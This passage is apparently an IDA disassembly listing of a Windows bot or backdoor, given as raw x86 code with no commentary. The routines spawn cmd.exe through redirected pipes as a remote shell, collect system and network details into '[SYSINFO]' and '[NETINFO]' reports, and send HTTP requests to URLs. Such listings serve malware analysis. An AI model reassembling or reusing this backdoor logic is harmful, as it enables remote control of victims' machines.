ds:dword_4367B0 call ds:dword_422110 ; GetExitCodeProcess test eax, eax jz short loc_409ACE cmp [ebp+var_8], 103h jnz loc_409B67 loc_409ACE: ; CODE XREF: sub_409A5D+62j push 0Ah call ds:dword_422054 ; Sleep jmp short loc_409A75 ; --------------------------------------------------------------------------- loc_409AD8: ; CODE XREF: sub_409A5D+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_409AEF loc_409ADF: ; CODE XREF: sub_409A5D+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_409B3D inc eax cmp eax, [ebp+var_4] jb short loc_409ADF loc_409AEF: ; CODE XREF: sub_409A5D+80j mov [ebp+var_4], esi loc_409AF2: ; CODE XREF: sub_409A5D+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_415500 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push ds:dword_4367B4 call ds:off_422098 test eax, eax jz short loc_409B8F lea eax, [ebp+var_20C] push eax push ebx push ds:dword_4367F4 call sub_4099D6 add esp, 0Ch jmp loc_409A75 ; --------------------------------------------------------------------------- loc_409B3D: ; CODE XREF: sub_409A5D+8Aj inc eax mov [ebp+var_4], eax jmp short loc_409AF2 ; --------------------------------------------------------------------------- loc_409B43: ; CODE XREF: sub_409A5D+45j push offset dword_429324 push ebx push ds:dword_4367F4 call sub_4099D6 push [ebp+arg_0] call sub_415248 add esp, 10h push 1 call ds:dword_422044 ; ExitThread loc_409B67: ; CODE XREF: sub_409A5D+6Bj call sub_40996E push offset dword_4292EC push ebx push ds:dword_4367F4 call sub_4099D6 push [ebp+arg_0] call sub_415248 add esp, 10h push edi call ds:dword_422044 ; ExitThread loc_409B8F: ; CODE XREF: sub_409A5D+C3j push offset dword_4292AC push ebx push ds:dword_4367F4 call sub_4099D6 push [ebp+arg_0] call sub_415248 add esp, 10h push edi call ds:dword_422044 ; ExitThread sub_409A5D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BB2 proc near ; CODE XREF: sub_40A965+99p ; sub_40D2E0+5774p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_40996E xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call ds:off_436524 test eax, eax jz loc_409CAC push 1 lea eax, [ebp+var_1C] pop ebx mov edi, ds:dword_422120 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_409CAC lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_409CAC mov edi, ds:dword_42211C push 3 push esi push esi push offset dword_4367B8 call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call ds:dword_422118 ; DuplicateHandle test eax, eax jz short loc_409CAC push 10h lea eax, [ebp+var_2C] push esi push eax call sub_415500 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_415500 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_4325D8 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call ds:dword_422104 ; CreateProcessA test eax, eax jnz short loc_409CB4 loc_409CAC: ; CODE XREF: sub_409BB2+2Fj ; sub_409BB2+5Cj ... or eax, 0FFFFFFFFh jmp loc_409D62 ; --------------------------------------------------------------------------- loc_409CB4: ; CODE XREF: sub_409BB2+F8j push [ebp+var_4] mov edi, ds:off_422074 call edi ; sub_4DB3D5 mov eax, [ebp+var_10] push [ebp+var_28] mov ds:dword_4367B4, eax mov eax, [ebp+var_8] mov ds:dword_4367BC, eax mov eax, [ebp+var_2C] mov ds:dword_4367B0, eax call edi ; sub_4DB3D5 mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov ds:dword_4367F4, eax jz short loc_409CEE push [ebp+arg_4] jmp short loc_409CEF ; --------------------------------------------------------------------------- loc_409CEE: ; CODE XREF: sub_409BB2+135j push ebx loc_409CEF: ; CODE XREF: sub_409BB2+13Aj push offset dword_4367C0 call sub_415480 pop ecx pop ecx push esi push 7 push offset dword_4293A8 call sub_414F2C mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov ds:dword_43BEC8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_409A5D push esi push esi call ds:dword_422070 ; CreateThread cmp eax, esi mov ds:dword_43BED4[edi], eax jnz short loc_409D60 call ds:dword_42206C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_378] push offset dword_429364 push eax call sub_415480 lea eax, [ebp+var_378] push eax call sub_40A5B3 add esp, 10h loc_409D60: ; CODE XREF: sub_409BB2+185j xor eax, eax loc_409D62: ; CODE XREF: sub_409BB2+FDj pop edi pop esi pop ebx leave retn sub_409BB2 endp ; =============== S U B R O U T I N E ======================================= sub_409D67 proc near ; CODE XREF: sub_405756+74p ; sub_409F1E+217p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call ds:dword_422048 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4367FC push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_4159FA add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_409D67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409DD0 proc near ; CODE XREF: sub_40767D+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call ds:dword_422124 ; GetVersionExA test eax, eax jz short loc_409E63 cmp [ebp+var_90], 4 jnz short loc_409E39 cmp [ebp+var_8C], esi jnz short loc_409E21 cmp [ebp+var_84], 1 jnz short loc_409E14 push 1 pop esi loc_409E14: ; CODE XREF: sub_409DD0+3Fj cmp [ebp+var_84], 2 jnz short loc_409E63 push 1 jmp short loc_409E62 ; --------------------------------------------------------------------------- loc_409E21: ; CODE XREF: sub_409DD0+36j cmp [ebp+var_8C], 0Ah jnz short loc_409E2E loc_409E2A: ; CODE XREF: sub_409DD0+78j push 2 jmp short loc_409E62 ; --------------------------------------------------------------------------- loc_409E2E: ; CODE XREF: sub_409DD0+58j cmp [ebp+var_8C], 5Ah jnz short loc_409E63 jmp short loc_409E53 ; --------------------------------------------------------------------------- loc_409E39: ; CODE XREF: sub_409DD0+2Ej cmp [ebp+var_90], 5 jnz short loc_409E63 cmp [ebp+var_8C], esi jz short loc_409E2A cmp [ebp+var_8C], 1 jnz short loc_409E57 loc_409E53: ; CODE XREF: sub_409DD0+67j push 3 jmp short loc_409E62 ; --------------------------------------------------------------------------- loc_409E57: ; CODE XREF: sub_409DD0+81j cmp [ebp+var_8C], 2 jnz short loc_409E63 push 7 loc_409E62: ; CODE XREF: sub_409DD0+4Fj ; sub_409DD0+5Cj ... pop esi loc_409E63: ; CODE XREF: sub_409DD0+25j ; sub_409DD0+4Bj ... mov eax, esi pop esi leave retn sub_409DD0 endp ; =============== S U B R O U T I N E ======================================= sub_409E68 proc near ; CODE XREF: sub_409F1E+290p push ebx push esi push edi mov esi, 0F4240h loc_409E70: ; CODE XREF: sub_409E68+2Fj ; sub_409E68+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call ds:dword_422054 ; Sleep rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_417370 mov edi, edx mov ebx, eax test edi, edi ja short loc_409E70 jb short loc_409E9F cmp ebx, esi ja short loc_409E70 loc_409E9F: ; CODE XREF: sub_409E68+31j push 0 push 64h push edi push ebx call sub_4172F0 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_409F12 jb short loc_409EBE cmp esi, 50h jnb short loc_409EC3 loc_409EBE: ; CODE XREF: sub_409E68+4Fj push 4Bh xor edx, edx pop eax loc_409EC3: ; CODE XREF: sub_409E68+54j test ecx, ecx ja short loc_409F12 jb short loc_409ECE cmp esi, 47h jnb short loc_409ED3 loc_409ECE: ; CODE XREF: sub_409E68+5Fj push 42h xor edx, edx pop eax loc_409ED3: ; CODE XREF: sub_409E68+64j test ecx, ecx ja short loc_409F12 jb short loc_409EDE cmp esi, 37h jnb short loc_409EE3 loc_409EDE: ; CODE XREF: sub_409E68+6Fj push 32h xor edx, edx pop eax loc_409EE3: ; CODE XREF: sub_409E68+74j test ecx, ecx ja short loc_409F12 jb short loc_409EEE cmp esi, 26h jnb short loc_409EF3 loc_409EEE: ; CODE XREF: sub_409E68+7Fj push 21h xor edx, edx pop eax loc_409EF3: ; CODE XREF: sub_409E68+84j test ecx, ecx ja short loc_409F12 jb short loc_409EFE cmp esi, 1Eh jnb short loc_409F03 loc_409EFE: ; CODE XREF: sub_409E68+8Fj push 19h xor edx, edx pop eax loc_409F03: ; CODE XREF: sub_409E68+94j test ecx, ecx ja short loc_409F12 jb short loc_409F0E cmp esi, 0Ah jnb short loc_409F12 loc_409F0E: ; CODE XREF: sub_409E68+9Fj xor eax, eax xor edx, edx loc_409F12: ; CODE XREF: sub_409E68+4Dj ; sub_409E68+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_409E68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409F1E proc near ; CODE XREF: sub_40D2E0+59EEp var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_4325D8 mov [ebp+var_CC], 94h call ds:dword_422124 ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_409FA5 cmp [ebp+var_C4], ebx jnz short loc_409F81 cmp [ebp+var_BC], 1 jnz short loc_409F6B mov [ebp+var_4], offset a95 ; "95" loc_409F6B: ; CODE XREF: sub_409F1E+44j cmp [ebp+var_BC], 2 jnz loc_40A020 mov [ebp+var_4], offset aNt ; "NT" jmp short loc_409FF1 ; --------------------------------------------------------------------------- loc_409F81: ; CODE XREF: sub_409F1E+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_409F93 mov [ebp+var_4], offset a98 ; "98" jmp short loc_409FE8 ; --------------------------------------------------------------------------- loc_409F93: ; CODE XREF: sub_409F1E+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_409FE1 mov [ebp+var_4], offset aMe ; "ME" jmp short loc_409FE8 ; --------------------------------------------------------------------------- loc_409FA5: ; CODE XREF: sub_409F1E+33j cmp [ebp+var_C8], 5 jnz short loc_409FE1 cmp [ebp+var_C4], ebx jnz short loc_409FBF mov [ebp+var_4], offset a2k ; "2K" jmp short loc_409FE8 ; --------------------------------------------------------------------------- loc_409FBF: ; CODE XREF: sub_409F1E+96j cmp [ebp+var_C4], 1 jnz short loc_409FD1 mov [ebp+var_4], offset aXp ; "XP" jmp short loc_409FE8 ; --------------------------------------------------------------------------- loc_409FD1: ; CODE XREF: sub_409F1E+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_409FE8 loc_409FE1: ; CODE XREF: sub_409F1E+7Cj ; sub_409F1E+8Ej mov [ebp+var_4], offset dword_4294F4 loc_409FE8: ; CODE XREF: sub_409F1E+73j ; sub_409F1E+85j ... cmp [ebp+var_BC], 2 jnz short loc_40A020 loc_409FF1: ; CODE XREF: sub_409F1E+61j cmp [ebp+var_B8], bl jz short loc_40A020 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_4294EC push eax call sub_415480 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_40A020: ; CODE XREF: sub_409F1E+54j ; sub_409F1E+D1j ... mov ax, ds:word_4294E8 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, ds:dword_436354 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_40A059 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_40A059: ; CODE XREF: sub_409F1E+12Cj push [ebp+arg_4] call sub_409526 pop ecx push eax call ds:dword_4364A8 ; inet_addr mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call ds:dword_436420 ; gethostbyaddr cmp eax, ebx jz short loc_40A082 push dword ptr [eax] jmp short loc_40A087 ; --------------------------------------------------------------------------- loc_40A082: ; CODE XREF: sub_409F1E+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40A087: ; CODE XREF: sub_409F1E+162j lea eax, [ebp+var_3E4] push eax call sub_415480 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call ds:dword_422058 ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call ds:dword_422068 ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call ds:dword_422064 ; GetTimeFormatA push 20h lea eax, [ebp+var_38] push ebx push eax call sub_415500 add esp, 0Ch lea eax, [ebp+var_38] push eax call ds:dword_422128 ; GlobalMemoryStatus push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_4173D8 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_40B73E push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_409D67 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_409526 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40B62E pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40B62E pop ecx pop ecx push eax call sub_409E68 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_4159FA mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_409F1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A1D2 proc near ; CODE XREF: sub_40D2E0+4555p ; sub_40D2E0+5A1Fp var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_415500 add esp, 0Ch cmp ds:dword_436550, 0 jnz short loc_40A23E push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call ds:dword_436338 ; InternetGetConnectedStateEx test eax, eax jnz short loc_40A227 lea eax, [ebp+var_8C] push offset dword_429568 push eax call sub_415480 pop ecx pop ecx loc_40A227: ; CODE XREF: sub_40A1D2+40j test [ebp+var_C], 1 jz short loc_40A234 push offset dword_429560 jmp short loc_40A239 ; --------------------------------------------------------------------------- loc_40A234: ; CODE XREF: sub_40A1D2+59j push offset off_42955C loc_40A239: ; CODE XREF: sub_40A1D2+60j lea eax, [ebp+var_8] jmp short loc_40A256 ; --------------------------------------------------------------------------- loc_40A23E: ; CODE XREF: sub_40A1D2+28j mov esi, offset off_429558 lea eax, [ebp+var_8] push esi push eax call sub_415480 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_40A256: ; CODE XREF: sub_40A1D2+6Aj push eax call sub_415480 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_409526 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_4159FA mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40A1D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A291 proc near ; DATA XREF: sub_40D2E0+4974o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_429698 call sub_415500 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_415500 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_415500 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_415500 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_415500 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_415C80 pop ecx push eax lea eax, [ebp+var_358] push eax call ds:dword_436370 ; InternetCrackUrlA test eax, eax jz loc_40A42B cmp [ebp+var_34], ebx jbe short loc_40A368 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_416D30 add esp, 0Ch loc_40A368: ; CODE XREF: sub_40A291+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_40A386 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_416D30 add esp, 0Ch loc_40A386: ; CODE XREF: sub_40A291+DEj cmp [ebp+var_20], ebx jbe short loc_40A3A0 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_416D30 add esp, 0Ch loc_40A3A0: ; CODE XREF: sub_40A291+F8j cmp [ebp+var_18], ebx jbe short loc_40A3BA push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_416D30 add esp, 0Ch loc_40A3BA: ; CODE XREF: sub_40A291+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push ds:dword_436418 call ds:dword_43643C ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_40A443 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call ds:dword_436430 ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_40A44A push ebx push ebx push ebx push ebx push eax call ds:dword_4363E4 ; HttpSendRequestA test eax, eax jz short loc_40A424 push offset dword_42966C jmp short loc_40A44F ; --------------------------------------------------------------------------- loc_40A424: ; CODE XREF: sub_40A291+18Aj push offset unk_429620 jmp short loc_40A44F ; --------------------------------------------------------------------------- loc_40A42B: ; CODE XREF: sub_40A291+B7j lea eax, [ebp+var_55C] push offset dword_4295F4 push eax call sub_415480 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_40A45D ; --------------------------------------------------------------------------- loc_40A443: ; CODE XREF: sub_40A291+153j push offset unk_4295B8 jmp short loc_40A44F ; --------------------------------------------------------------------------- loc_40A44A: ; CODE XREF: sub_40A291+17Bj push offset unk_429578 loc_40A44F: ; CODE XREF: sub_40A291+191j ; sub_40A291+198j ... lea eax, [ebp+var_55C] push eax call sub_415480 pop ecx pop ecx loc_40A45D: ; CODE XREF: sub_40A291+1B0j cmp [ebp+var_1D4], ebx jnz short loc_40A488 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_40BAE7 add esp, 14h loc_40A488: ; CODE XREF: sub_40A291+1D2j lea eax, [ebp+var_55C] push eax call sub_40A5B3 pop ecx push esi call ds:dword_43649C ; InternetCloseHandle push [ebp+var_4] call ds:dword_43649C ; InternetCloseHandle push [ebp+var_1D8] call sub_415248 pop ecx push ebx call ds:dword_422044 ; ExitThread pop edi pop esi pop ebx sub_40A291 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4BB proc near ; CODE XREF: sub_40D2E0+448Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43B140 mov edi, 0B8h loc_40A4CF: ; CODE XREF: sub_40A4BB+33j cmp byte ptr [esi], 0 jz short loc_40A4F2 push [ebp+arg_0] push esi call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_40A4F2 inc [ebp+var_4] add esi, edi cmp esi, offset dword_43BCC0 jl short loc_40A4CF jmp short loc_40A534 ; --------------------------------------------------------------------------- loc_40A4F2: ; CODE XREF: sub_40A4BB+17j ; sub_40A4BB+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43B140[esi] push ebx call sub_415500 push 17h push [ebp+arg_0] push ebx call sub_416D30 push 9Fh lea eax, dword_43B158[esi] push [ebp+arg_4] push eax call sub_416D30 add esp, 24h inc ds:dword_42AE8C pop ebx loc_40A534: ; CODE XREF: sub_40A4BB+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40A4BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A53B proc near ; CODE XREF: sub_40D2E0+5B58p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_4296A8 push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 14h xor edi, edi mov esi, offset dword_43B140 loc_40A565: ; CODE XREF: sub_40A53B+72j cmp byte ptr [esi], 0 jz short loc_40A5A0 lea eax, [esi+18h] push eax push esi push edi push offset dword_42969C lea eax, [ebp+var_200] push 200h push eax call sub_4159FA push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 2Ch loc_40A5A0: ; CODE XREF: sub_40A53B+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43BCC0 jl short loc_40A565 pop edi pop esi leave retn sub_40A53B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5B3 proc near ; CODE XREF: sub_401000+9Ap ; sub_4010B5+314p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call ds:dword_42205C ; GetLocalTime mov ebx, offset dword_43A834 mov edi, 80h mov esi, offset dword_436834 loc_40A5D5: ; CODE XREF: sub_40A5B3+3Dj cmp byte ptr [ebx], 0 jz short loc_40A5EC push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_416D30 add esp, 0Ch loc_40A5EC: ; CODE XREF: sub_40A5B3+25j sub ebx, edi cmp ebx, esi jge short loc_40A5D5 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_4159FA add esp, 28h pop edi pop esi pop ebx leave retn sub_40A5B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A627 proc near ; CODE XREF: sub_406224+15Bp ; sub_4063AC+1AFp ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41751F lea eax, [ebp+var_80] push eax call sub_40A5B3 add esp, 14h leave retn sub_40A627 endp ; =============== S U B R O U T I N E ======================================= sub_40A653 proc near ; CODE XREF: sub_40D2E0+5A4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_436834 xor ecx, ecx loc_40A65A: ; CODE XREF: sub_40A653+13j mov [eax], cl add eax, 80h cmp eax, offset dword_43A834 jl short loc_40A65A cmp [esp+arg_C], ecx push esi mov esi, offset dword_4296DC jnz short loc_40A68A push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_40BAE7 add esp, 14h loc_40A68A: ; CODE XREF: sub_40A653+1Fj push esi call sub_40A5B3 pop ecx pop esi retn sub_40A653 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A693 proc near ; DATA XREF: sub_40D2E0+5B02o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_40A6E6 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_429730 push eax push [ebp+var_11C] call sub_40BAE7 add esp, 14h loc_40A6E6: ; CODE XREF: sub_40A693+33j cmp [ebp+var_98], 0 jz short loc_40A706 lea eax, [ebp+var_98] push eax call sub_4159EF test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_40A706 mov [ebp+var_8], eax loc_40A706: ; CODE XREF: sub_40A693+5Aj ; sub_40A693+6Ej and [ebp+arg_0], 0 mov esi, offset dword_436834 loc_40A70F: ; CODE XREF: sub_40A693+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_40A769 cmp byte ptr [esi], 0 jz short loc_40A758 cmp [ebp+var_98], 0 jz short loc_40A73E cmp [ebp+var_4], 0 jnz short loc_40A73E lea eax, [ebp+var_98] push eax push esi call sub_408FB5 pop ecx test eax, eax pop ecx jz short loc_40A758 loc_40A73E: ; CODE XREF: sub_40A693+90j ; sub_40A693+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push 